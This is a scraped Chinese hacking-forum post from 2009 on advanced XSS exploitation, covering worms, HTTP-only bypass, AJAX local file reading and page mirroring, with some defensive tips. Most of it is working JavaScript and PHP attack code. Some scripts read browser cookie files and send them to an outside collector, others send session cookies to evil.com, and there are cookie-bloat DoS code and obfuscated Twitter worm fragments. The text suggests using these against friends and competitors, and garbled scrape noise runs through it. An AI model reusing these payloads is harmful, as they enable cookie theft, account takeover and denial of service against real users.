XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页" K& t. f" y/ B+ Z9 n% Y4 y) V9 G
本帖最后由 racle 于 2009-5-30 09:19 编辑 1 |& @: C3 U* u8 Q% O* v7 e# o
+ E4 c' s+ M8 n" K% TXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html! C$ }; n2 }" y9 c+ M @# \ K& @
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( E( v0 L6 K$ T1 W-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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" D! V6 D" T" V* W i如果你还未具备基础XSS知识,以下几个文章建议拜读:
6 n( E' Q/ T& `1 j9 n- A5 ?) _$ Chttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介" m$ m7 m. a8 @3 m4 W0 V' t
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
" _9 [0 l! _+ n7 J$ K& ihttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
& t* w. ]/ k) zhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF4 ^! C' w) H0 [' b& o5 q
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
2 K9 v# W7 u6 s1 V2 H" q6 s) hhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持5 d- a; D( L/ D$ ]6 u
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.& B ~: e- H/ i
S% v2 j- z( T% w& |$ M希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.( [# b; i [" y# N# Y* n
& f3 j# F5 [2 J P6 d如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,. @* N2 n' h5 P! C; w4 Z9 C% L! @% D
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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# _% i! i# ^4 z6 I6 QOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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* u6 Q2 n' r5 F; A6 }复制代码------------------------------------------介绍-------------------------------------------------------------
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1 A6 @& a5 x9 V+ a什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.# ~* t/ w: l j
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! f. ]5 Z* F/ A& n跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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* S, |9 f' N. ^" s如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
+ ?! u- X7 F* y' B, J; d复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' w0 i4 W: b5 @; H n9 C& D我们在这里重点探讨以下几个问题:" k* P1 B! O; W' c/ |, R+ v8 R
5 r/ N" M) r" e- }1 通过XSS,我们能实现什么?. K9 n& U& g4 W$ v2 d: J0 X8 B, X& ~
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 h% `4 @4 j! e7 k5 K- ?; ~2 Y4 XSS漏洞在输出和输入两个方面怎么才能避免. }+ W! ~( ]/ Q% k: l& g) o6 h3 U
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/ p4 g" M8 u6 f------------------------------------------研究正题----------------------------------------------------------0 W! y; }% h9 n& m9 M
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
0 l& Y2 K) x& o2 {5 t* A& H; p复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫$ @5 f/ F9 C; |1 ]+ l7 I
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.) i5 C* H+ [! ]1 ^5 Y- P3 S# O
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
0 i8 j5 x0 B+ r$ K- ?. ^& V2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
: W+ l7 T3 F2 F9 S! w3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
" s' E5 ^7 g( t2 G1 ^$ I4:Http-only可以采用作为COOKIES保护方式之一.
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5 i8 Q& x! G" P0 t0 \(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)* T8 i, f0 H( V7 @
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)' P$ C5 r8 G1 l
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。( F4 e, P: x% s4 t/ `6 J3 a! L" x- M
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! p9 I: K; P) t, u 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function $(x){return document.getElementById(x)}
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request = new XMLHttpRequest();
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];0 _7 ]& c8 o& I0 ]% V, s) n3 _9 d
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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} catch(e) {}
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var _x = ajax_obj();) Q3 r8 @3 s) b( e/ a
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function _7or3(_m,action,argv){$ b( ^7 C1 B; M4 ~
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");' P$ |1 N% o1 {2 ~- J
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_x.send(argv);7 n1 ^% d5 e" ?" l
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return _x.responseText;; ]+ H' O! [) e* B
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);# D, H3 r/ s# R- G" l
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</script>2 b9 o0 w9 u+ G8 Q8 x
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>9 q a+ x' m* \$ f0 s7 G
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function $(x){return document.getElementById(x)}0 s4 l2 W7 X2 K5 B$ Y8 e% \
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function ajax_obj(){
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request = new XMLHttpRequest();
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% Q$ i& U' {5 w6 D9 T6 ^ } else if(window.ActiveXObject) {4 y. P4 w5 t( b ^9 x1 s7 Y: _9 P/ \
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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+ C) L: ]+ C( C% w4 [" ? 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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$ E$ l" J3 O+ A) W6 w for(var i=0; i<versions.length; i++) {
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try {+ A: q R9 b4 n" |, o# s' Q
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} catch(e) {}
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}
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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5 g% p0 R2 R' y% ]( g! H9 _ return _x.responseText;0 {! t1 b9 H) L z0 m& f* O5 j
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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# N3 x; R( L9 Q% z) H0 L3 s1 {Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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/* ; ^" x: U$ H) Y
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: \6 y0 Z1 n3 o# y$ V% I: Z author voidloafer@gmail.com 2009-4-22 1 o- k; I5 [8 o2 b4 u
7 h( f- @' Z% |* Z% {. L! \, v http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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- U3 }+ ?" S; i; R; iheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); / w, A& e, P: o) x, D* Z4 w
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/* 9 k4 D; L: ^% p8 ]8 J
5 y; y9 C% @ \( z8 V, E set header, so just download html file,and open it at local. ; F8 u- C/ G0 Z2 C# H; ^
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 5 x$ S6 I. n4 e9 X
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<input id="input" name="cookie" value="" type="hidden">
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<script>
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function doMyAjax(user)
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4 _+ e( J6 t4 b7 g$ evar time = Math.random();
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default , [- ^7 L8 \6 z! e/ M! Q- N. r3 ~
# U+ p# \/ |, Hand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 5 K0 R) U1 N. y
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; * ~! n" I- n: Z1 f3 `* C: b
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; L/ `/ l& Z0 C( }startRequest(strPer); 3 h/ A4 `5 h# [/ o+ v/ K
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8 r, s/ O% L( {$ g( O2 _+ Z
8 k& R& h: y }8 r& l! efunction Enshellcode(txt) 3 c/ `. C9 m0 h `# S; X; I
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{ $ W8 `# Z9 x2 S& {8 J0 K6 c0 m$ P+ q
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var url=new String(txt); 4 Y* H" F0 A' D6 T# [! D: j
0 s: V" I( b) i$ Y% Ivar i=0,l=0,k=0,curl=""; 3 f0 W3 T+ u# W4 |, O, ~
" j5 ?1 r3 k4 Y6 ^l= url.length;
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# p( d( [" ]& F' ^for(;i<l;i++){
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k=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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; ]! E2 C# S' l; l( Y! ^: G/ O0 g3 v; w2 Tif (l%2){curl+="00";}else{curl+="0000";}
$ l* {! P5 H# Y+ V% [" p6 {2 [: I v
curl=curl.replace(/(..)(..)/g,"%u$2$1"); * q: X1 j3 K: i' p6 j
}+ f, V! L0 r( _
return curl;
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} , p' o- Q( J! R6 C) A
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6 T6 h5 G G3 M J" m$ D8 bvar xmlHttp; * w9 Y) P! s( ?* t: u i
8 j! b- @2 k( {( S# W1 U0 w: lfunction createXMLHttp(){ ; \! D0 r2 S, Q" e* G3 Q- r
5 h" Y M7 a( B4 r/ }7 I if(window.XMLHttpRequest){ ! I4 W3 \8 v, x; P8 g' y
1 C# y1 z0 Q6 C& M& ZxmlHttp = new XMLHttpRequest(); / {/ S. k9 g, A$ u/ Q+ I
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* k. [/ F f- \7 ?: x. w
else if(window.ActiveXObject){
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$ W1 O8 j+ H6 U2 ?/ y/ c2 ~xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 0 R, `" H4 [8 i0 {1 l. T
6 t$ E/ _! J+ w6 M5 V9 E }
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} % @1 @* K* [0 I2 f0 P2 {
# {5 V6 Y- w4 e6 `* U" Q+ X- e
_* p4 a) h+ ~6 e. ~/ t: K" I1 Y( z9 |9 X5 s
function startRequest(doUrl){
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; K( t% [9 t1 s9 W; c& R
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O% M- Y4 N7 s0 r6 B5 n9 k createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; , |7 ~% j) j; ?: x; A- k
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); ! A4 w/ X( L5 ~: T/ X
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% w5 o5 ^2 W. y* E, S4 z9 t U. b
5 S7 L2 ?4 w% O O0 t% }; \}
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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var strResponse = ""; 7 o0 k- X8 L5 Z& a+ ^0 @4 p' r
5 a1 G: @5 U0 G3 w0 t) L/ A setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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}
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2 z y3 ^# Q3 t6 d( v}
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function framekxlzxPost(text) - ?5 x9 s# l: r. k) z
+ C! _4 I1 L' v" o4 [) o; l
{
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* t( L+ u( H+ M' a5 R0 Z; t7 c: C document.getElementById("input").value = Enshellcode(text); 0 y ]" B1 L: H2 Y
$ ~1 D8 [1 U! s
document.getElementById("form").submit(); & ]8 N4 R! r6 F6 g: l
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} ; I3 `: J, P/ m/ |: G7 b9 I) @
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2 d" t9 g0 _5 F' {$ W. ^. d+ e
& v# i- B& u2 C0 YdoMyAjax("administrator");
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# D) ~) ], s% O</script> B" t/ ]: K5 Q; T
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 7 i8 s4 s: |1 ?1 |2 \: |
. @) X, i7 k7 G; F* Bvar xmlHttp;
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function createXMLHttp(){ , `* G! w1 e8 p; Z
- g4 s1 J# E) L) S
if(window.XMLHttpRequest){ 6 z p7 x4 l* o! s; y
. o1 C' O1 a% _4 z xmlHttp = new XMLHttpRequest();
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} / M8 K7 \3 D( F9 q$ `* P9 U/ M
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else if(window.ActiveXObject){ 8 b# Y$ x- C6 N9 x3 ^- r$ u1 J2 C
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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function startRequest(doUrl){ 3 \( P( c- } ?% z" ~" g4 W6 ?! h8 r
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createXMLHttp(); + T1 @/ j" z- m6 G
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xmlHttp.onreadystatechange = handleStateChange; 3 x& S+ X, I# _3 u" p5 V
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xmlHttp.open("GET", doUrl, true); ) M# F7 @: G. t# `; m, X u$ X
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+ g$ A+ L2 Y6 z- s2 `) _7 t5 B$ Q xmlHttp.send(null); ) f# k7 P: w9 P; U
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}
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+ `5 {- T0 f; W! S 6 @/ Q) r7 M C) G- s5 L9 u1 r
. |2 P) O6 a7 W$ d. Z( L6 Afunction handleStateChange(){
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1 P Q/ B5 @1 V if (xmlHttp.readyState == 4 ){ * R9 `* s. x8 l, o0 G
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var strResponse = "";
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3 s1 X! H9 S8 }7 X setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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" D* w: r2 V, y}
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function doMyAjax(user,file)
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+ v2 p6 |; m2 D* F1 K8 r# ?
var time = Math.random(); : d: j, i; K0 P
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" J x6 g5 T9 h) Q# i* ? var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 0 ]( ] \1 Y$ ~5 ~
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startRequest(strPer);
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0 W( V' @& H4 k6 F! |0 M: mfunction framekxlzxPost(text) + G, z4 W# \; I& A" \
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{
+ k/ L! W2 y& l: w8 n9 K4 }" A/ y4 c) g: ]$ \ _9 {2 d9 c
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ) R6 `" a2 A+ w( S8 k
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alert(/ok/); ( H* @* a4 N/ F( U9 f1 {! J' q
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0 a1 P' c. A$ k {doMyAjax('administrator','administrator@alibaba[1].txt');
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2 A# {; d: ?6 q2 B/ R</script>+ B0 V0 F4 |, N8 T% I \' r
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3 k7 v0 |" J) J- Wa.php
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<?php 2 B7 t w& k7 [& G7 q, u/ E# @& ^
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 5 X" j+ Q- T9 ^/ `' \: m, }0 I3 _
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 2 @2 B' v. s; R0 y$ `2 ], _4 ]
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fwrite($fp,$_GET["cookie"]);
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. w, `/ u. J" F: {2 j+ Bfclose($fp);
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:. C6 w/ a3 ]9 p% F/ h& g$ O& J9 U
2 y" }6 T; }1 [. @1 k, \& L1 V或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
7 p( ^) L! x1 y( c' C# U利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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8 b2 o1 m4 R5 t9 `# m. p代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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# G9 i" [% E+ w5 J; e/ Z//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);" S" _6 q! U" p: j
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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# b/ W$ R8 E" O, P, lfunction getURL(s) {
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var image = new Image();- i: l3 H& y5 T. ?# B) x# q, ~
6 R0 `2 I2 v- E- B- X. t2 L& kimage.style.width = 0;# Z' y. |5 ^+ ^% X
4 N9 @& p% A' ~* c- \5 jimage.style.height = 0;, b& B N- {- b+ \1 J6 A: [. u
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image.src = s;, p2 g2 P! o/ r# [
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText); K5 j4 _ r4 A6 i) |
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
0 j- _ m( ?8 Z这里引用大风的一段简单代码:<script language="javascript">" a! i5 M% C: c& B3 Q2 m5 S
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var metastr = "AAAAAAAAAA"; // 10 A
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& h5 S% q: X9 \( Wvar str = "";
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while (str.length < 4000){/ o8 M, ^. Z6 R
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str += metastr;0 l( F' \* h( G
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}
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3 r) I, G) C) ^9 {
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS& m% B2 S' {, U$ D* H O
" q2 U! z: I5 D N5 n' @1 ]</script>' U) T& ]; |5 }2 [
; l) _- g! ~: [( s6 u详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 L- V- {9 O# G/ q+ i/ g* L复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
( W6 E+ z% f {( O6 eserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
8 v! m! G3 f; n' r5 ^& s" J j. \; z$ i, H" l( l
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.2 z- E; H4 [" o5 [# L/ r
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.8 Z, c4 X8 S" W4 @# \3 K
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- S5 e; }1 f2 m7 u! [! ?+ q(III) Http only bypass 与 补救对策:- u4 ?0 H$ b% S( }3 l* [- O
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
+ g3 q1 q+ ^& _3 v2 D以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
H3 v8 w* k4 l& [# [& v" t
7 b' e r# w; Y<!--
% M- e4 c) _$ ]7 O- R* o
: |: [( F& D, mfunction normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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; q d4 M/ R u2 Nalert(document.cookie);
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6 q/ |- q7 B8 S1 ^+ ?; E/ S0 P7 q; j3 b5 |% I) W5 H/ a) x0 f
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+ D, z4 E* g- d* g' I8 |* ]function httpOnlyCookie() {
% _; c7 I6 h2 L9 {
' e* D$ O Y; W1 E# F2 {document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; ) X8 ?0 V+ r% O3 @* C9 ]6 _6 @5 \
+ r! A, c, V7 b7 `# p7 `7 valert(document.cookie);}
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: _( h, \' t9 L9 J" V9 s; ~' D! y; K- s//-->: g4 Q' K. Y0 a m) A1 A0 z
% z9 N' [' `2 a \$ P! h
</script>
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>8 H) J4 z- r0 D3 C4 D3 v7 }
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>) U/ t: V. e, T+ }. ]% H! A5 o9 ]
4 p: r6 [: J5 h$ N
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( \1 [! P! A* N7 Rvar request = false;$ O% z* y9 ^* P1 s! S% Y- a
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if(window.XMLHttpRequest) {
7 {0 Q2 Q, b- X( l
) p' C, J& F* c request = new XMLHttpRequest();; N* @7 x( e) n" [9 u4 V( n" i6 p
0 i' g" H B. j if(request.overrideMimeType) {
3 x a: l3 ]+ Y! j) `8 H% i
( Z- k: y8 l9 o request.overrideMimeType('text/xml');
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} else if(window.ActiveXObject) {: \! E0 X4 ]+ y& R, g
" \3 w: G* @: G3 Y; j V9 i var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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6 E% P# j! h2 u7 V- e" @+ `2 D; t try {
% @$ P) }; A% b) h. S; ]8 M3 A; S' h' |) g
request = new ActiveXObject(versions);" H! |% z' x' S p6 n) a- N
( W, `: ?" D- P0 r) ^ } catch(e) {}6 y: U, f9 @6 ?3 ^
* q* h/ a* n9 g }
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$ H o1 u2 H! n& ?1 f3 m& Z }9 D+ E3 |" J. m0 \. A# E+ A4 c$ F& d' o$ d
, {9 b9 d3 p GxmlHttp=request;
: a) R' e: g; D( o, _
) h4 F2 O; W0 kxmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);$ R3 q6 K) E4 v: h, M; I7 M
6 ]! K* M/ E, B* a# d/ }/ Y
xmlDoc=xmlHttp.responseText;3 q5 d6 x0 K7 w6 ~
7 M2 w% T$ U& lalert(xmlDoc);
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/ [8 ^5 ?3 P' i</script>( X7 W$ ^! L% t. }. e3 h6 l
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# J5 ~, `8 u* I: z# m4 Z
% j- Y! T" b0 R, Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);; |: E& j8 w6 R7 y
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");& n) x2 w! V& a: \
6 I9 D8 E& G; s8 F) }XmlHttp.send(null);2 B1 O9 I' R" G$ b: s3 ^
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var resource=xmlHttp.responseText
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resource.search(/cookies/);
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......................7 _" _2 u/ E3 x; M% W
% H# y3 ^, l$ Y! E H c</script>
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0 q( h5 w e, d) M
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, _2 T' _1 E6 [' F2 k+ D& }3 r# t如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
* r4 I t( J1 u4 j1 n K! ^
! h$ H) E! Y0 {" E[code]
+ i5 h% |5 _& P* {) f4 }1 n5 M7 @4 r7 i" n; G: d- R0 T6 T2 J% ?
RewriteEngine On
5 _& @) Z5 @* ?! ]; l7 D' x" r% ?+ {3 r% x, t1 U, q" g7 R3 b
RewriteCond %{REQUEST_METHOD} ^TRACE
; [1 W% D$ ` U' E6 t$ W" k4 Z1 c4 T
RewriteRule .* - [F]- W1 @( H6 E& v& w
* I6 H% X: o+ j7 Q. Q! q* }
1 y9 H& ?2 k- `5 |2 j& i p
6 h# i' \- A1 \ B1 _" l1 g+ hSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
% q& B6 ~. o0 }0 r) t
1 l; `( H `/ _) S. A) \# H3 \2 Macl TRACE method TRACE
5 }" c5 k& k# T& x' C4 m6 R
! g+ }/ t5 ?* \...
% K4 O$ l* d, H) X( |
- S* R# D. B0 @& [2 jhttp_access deny TRACE
$ p; U/ \/ B2 J/ a3 _) w复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>! ?6 p' J6 w3 b
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");- h# ^4 Y' ?" e9 M/ _3 l% d5 `. M
' z; @0 P9 q: Z5 FXmlHttp.open("GET","http://www.google.com",false);
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: V' U$ z( [8 r, ^3 @XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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) b. A& m. H5 l. s$ n+ x, UXmlHttp.send(null);# r! Z$ y0 i7 D. V8 V! i
) n! o- N, g u6 i8 T5 c* ~</script>
2 l [; G% O; r7 E, ~% S8 w复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>; k1 X& M3 T7 F3 C
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); a; Z" R( J' Y. Y; j- W" M: `
{; z" C- f- X- |3 h
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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, ?: f( D9 i; D/ m- V<script>
; j/ ?! e. j" |! {, z! i2 D复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
) ` m% [% L1 w# L( z复制代码案例:Twitter 蠕蟲五度發威
' N! n! _( c* `$ ]第一版:
{% u0 J i8 ?" i) x 下载 (5.1 KB)
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. 3 \- r% H4 f0 }4 v w
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3. function XHConn(){ 7 t6 m' L* w6 X$ o2 b! _& p
6 F. |8 m! C% C# C9 \
4. var _0x6687x2,_0x6687x3=false; " p4 d6 ]" n( G, o3 A+ y0 s# Q' E. h
6 v4 u0 S! @+ C6 R* Z7 a9 H 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 6 [% r( z# j& ?0 T P
, K7 L7 A) E0 H- a0 i" e
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 2 E; F8 }8 ]( a
# F; n ^3 M5 Q# V7 U+ p; ? 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ; P( }) D; {. J7 O
9 Z2 S7 |6 Z; j3 ? 8. catch(e) { _0x6687x2=false; }; }; };
3 ~& K# |$ Z1 F8 m, Z E* y& ~复制代码第六版: 1. function wait() {
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* I# ^6 g2 U' _+ N$ [ 2. var content = document.documentElement.innerHTML; 6 q- y. W! `' d+ B9 X
7 l5 @# Z& L* G& b2 q# k
3. var tmp_cookie=document.cookie;
